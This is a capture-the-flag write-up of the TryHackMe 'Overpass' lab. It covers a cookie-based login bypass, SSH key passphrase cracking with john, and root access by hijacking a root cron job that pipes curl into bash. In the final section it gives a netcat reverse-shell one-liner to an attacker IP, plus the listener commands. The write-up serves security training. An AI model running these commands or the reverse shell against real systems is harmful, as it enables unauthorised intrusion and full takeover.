Writeups
  • Writeups
    • TryHackMe
      • 🕵️‍♀️Basic Pentesting
      • 🔷Blue
      • ⚡Bolt
      • 🤖Cyborg
      • 🃏HA Jocker CTF
      • 🧊Ice
      • 🕯️Ignite
      • 🎃Jack-of-All-Trades
      • 🎩Mr Robot
      • 🔓Overpass
      • 🥒Pickle Rick
      • 💻RootMe
      • 🐇Year of the Rabbit
    • Vulnhub
      • 📦Colddbox
      • 💱Crypto Bank
      • 🛰️GoldenEye
      • 🎊Hacker Fest
      • 🤠Lampiao
      • ✴️Node
      • ♟️PWNLAB
      • 🔓Solid State
      • 📎Stapler
    • CTFs
      • 🤐Zippy
    • Demos
      • 🤒AMSI bypass using Python
      • 🌆Steganography tools
Powered by GitBook
On this page
  • 1.Reconnaisance
  • 1.1 Nmap
  • 2. Scanning
  • 2.1 Gobuster
  • 3. Gaining access
  • 3.1 SSH2john
  • 4 Privilege Escalation
  • 4.1 Cronjobs
  1. Writeups
  2. TryHackMe

Overpass

PreviousMr RobotNextPickle Rick

Last updated 2 years ago

What happens when some broke CompSci students make a password manager?

1.Reconnaisance

1.1 Nmap

Using nmap to scan and identify open ports and services

map -Pn -sC -sV 10.10.201.36
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-17 18:49 IST
Nmap scan report for 10.10.201.36
Host is up (0.17s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 37:96:85:98:d1:00:9c:14:63:d9:b0:34:75:b1:f9:57 (RSA)
|   256 53:75:fa:c0:65:da:dd:b1:e8:dd:40:b8:f6:82:39:24 (ECDSA)
|_  256 1c:4a:da:1f:36:54:6d:a6:c6:17:00:27:2e:67:75:9c (ED25519)
80/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Overpass
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 50.93 seconds
  • We find port 22 and 80 open with ssh and http server running respectively

  • Going over to pot 80, we see a webpage for a password manager

2. Scanning

2.1 Gobuster

  • Directory brute forcing using gobuster on port 80

gobuster dir -u http://10.10.201.36 -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-directories.txt 
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.201.36
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-directories.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/07/17 18:51:21 Starting gobuster in directory enumeration mode
===============================================================
/admin                (Status: 301) [Size: 42] [--> /admin/]
/css                  (Status: 301) [Size: 0] [--> css/]    
/img                  (Status: 301) [Size: 0] [--> img/]    
/downloads            (Status: 301) [Size: 0] [--> downloads/]
/aboutus              (Status: 301) [Size: 0] [--> aboutus/]  
                                                              
===============================================================
2022/07/17 18:56:56 Finished
===============================================================
  • Going over to /admin we see a login page. Default credentials do not work

  • While inspecting the source code, we see a login.js file which is responsible for the login page

async function login() {
    const usernameBox = document.querySelector("#username");
    const passwordBox = document.querySelector("#password");
    const loginStatus = document.querySelector("#loginStatus");
    loginStatus.textContent = ""
    const creds = { username: usernameBox.value, password: passwordBox.value }
    const response = await postData("/api/login", creds)
    const statusOrCookie = await response.text()
    if (statusOrCookie === "Incorrect credentials") {
        loginStatus.textContent = "Incorrect Credentials"
        passwordBox.value=""
    } else {
        Cookies.set("SessionToken",statusOrCookie)
        window.location = "/admin"
    }
}
  • From the part of the script above, we find out that, as long as the cookie SessionToken is present in the request with any value, it gives access to the admin page

  • We can use Storage tab using Inspect element to add the cookie with the name SessionToken and refresh the page

  • We find the ssh private key of James, saving it as id_rsa

  • Changing its permission with chmod 600 id_rsa

  • While trying to log on via ssh, it asks for a passphrase

3. Gaining access

3.1 SSH2john

  • We can use john to crack the passphrase of the id_rsa key

  • We need to convert into a recognizable hash format for john using ssh2john and save it as hash.txt and then use john to crack it

python3 /usr/share/john/ssh2john.py id_rsa > hash.txt

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt 

Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
james13          (id_rsa)
1g 0:00:00:08 DONE (2022-07-17 19:07) 0.1165g/s 1671Kp/s 1671Kc/s 1671KC/sa6_123..*7¡Vamos!
Session completed
  • We get the passphrase james13

  • SSHing as James and using the passphrase, we get access

ssh -i id_rsa james@10.10.201.36                                           11s
The authenticity of host '10.10.201.36 (10.10.201.36)' can't be established.
ECDSA key fingerprint is SHA256:4P0PNh/u8bKjshfc6DBYwWnjk1Txh5laY/WbVPrCUdY.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.201.36' (ECDSA) to the list of known hosts.
Enter passphrase for key 'id_rsa': 
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-108-generic x86_64)

Last login: Sat Jun 27 04:45:40 2020 from 192.168.170.1
james@overpass-prod:~$ 
  • We get the user.txt flag in the home folder of james

  • There is also a todo.txt file

To Do:
> Update Overpass' Encryption, Muirland has been complaining that it's not strong enough
> Write down my password somewhere on a sticky note so that I don't forget it.
  Wait, we make a password manager. Why don't I just use that?
> Test Overpass for macOS, it builds fine but I'm not sure it actually works
> Ask Paradox how he got the automated build script working and where the builds go.
  They're not updating on the website
  • A mention of automated scripts. Cronjobs maybe?

4 Privilege Escalation

4.1 Cronjobs

  • Viewing the cronjobs from /etc/crontab

cat /etc/crontab 
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user	command
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
# Update builds from latest code
* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash
  • We find that a script located in overpass.thm/downloads/src/buildscript.sh is being run every minute.

  • We cannot edit the file itself as it makes a call to overpass.thm to get the script

  • Exploring further, we find that we have write permission on /etc/hosts file

  • We can modify the IP of overpass.thm to our local machine IP and set up a folder structure similar to the one above to host our own buildscript.sh

127.0.0.1 localhost
127.0.1.1 overpass-prod
10.11.66.165 overpass.thm #Replaced with our local machine Ip address

::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
  • In our local machine, we need to create the directory structure www/downloads/src and create a buuildscript.sh in the src folder with the reverse shell rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.11.66.165 1234 >/tmp/f%

www/downloads/src ❯ cat buildscript.sh 
rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.11.66.165 1234 >/tmp/f%   
  • Now we need to start a python server on port 80 on the www folder and a netcat listener on port 1234

sudo python3 -m http.server 80
[sudo] password for joseph: 
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.201.36 - - [17/Jul/2022 19:24:01] "GET /downloads/src/buildscript.sh HTTP/1.1" 200 -
  • Stabilizing the shell, we are root

nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.11.66.165] from (UNKNOWN) [10.10.201.36] 52544
/bin/sh: 0: can't access tty; job control turned off
# python3 -c 'import pty;pty.spawn("/bin/bash")'
root@overpass-prod:~# ^Z
[1]  + 2482 suspended  nc -lvnp 1234

stty raw -echo;fg                                         
[1]  + 2482 continued  nc -lvnp 1234

root@overpass-prod:~ ls
buildStatus  builds  go  root.txt  src
🔓